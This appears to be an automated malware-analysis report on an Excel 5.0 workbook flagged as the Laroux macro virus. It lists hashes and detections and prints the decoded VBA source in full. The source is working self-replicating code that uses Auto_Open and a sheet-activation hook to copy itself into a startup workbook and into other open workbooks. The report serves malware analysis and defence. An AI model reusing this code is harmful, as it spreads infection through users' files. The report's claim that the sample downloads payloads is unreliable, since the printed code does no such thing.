Xls.Trojan.Laroux-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 ce955befcea5a1bd…

MALICIOUS

Office (OLE)

20.0 KB Created: 1998-01-14 02:39:50 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: a0da79642743501118aeacf5aa57cceb SHA-1: 6a6bf24f4a2e793734bd8e74a0c70f4a576ab2ed SHA-256: ce955befcea5a1bd5e8d64de1d8625334e328168cb4b1cd5638532ee2b1fc834
240 Risk Score

Malware Insights

Xls.Trojan.Laroux-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an Excel 5.0 macro-enabled spreadsheet containing VBA macros, specifically an Auto_Open subroutine. This subroutine is designed to execute automatically upon opening the document, a common technique for malware delivery. The heuristic firings and ClamAV detection strongly indicate this is the Laroux-1 trojan, which is known to download and execute additional payloads. The macro attempts to copy the workbook and modify its properties, suggesting an effort to disguise or prepare for payload execution.

Heuristics 4

  • ClamAV: Xls.Trojan.Laroux-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Laroux-1
  • Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUS
    Legacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2793 bytes
SHA-256: eacc160f80132b5ee643acfff70c8b491ba43351a9c401221515f3c536b9c69e
Detection
ClamAV: Xls.Trojan.Laroux-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "laroux"
Sub auto_open()
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "PERSON2.XLS")
    If m$ = "PERSON2.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("laroux").Visible = True
    Sheets("laroux").Select
    Sheets("laroux").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "PERSON2.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("laroux").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "PERSON2.xls!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "laroux" Then
        Workbooks("PERSON2.XLS").Sheets("laroux").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("laroux").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "PERSON2.xls!check_files"
    Case Else
End Select
End Sub

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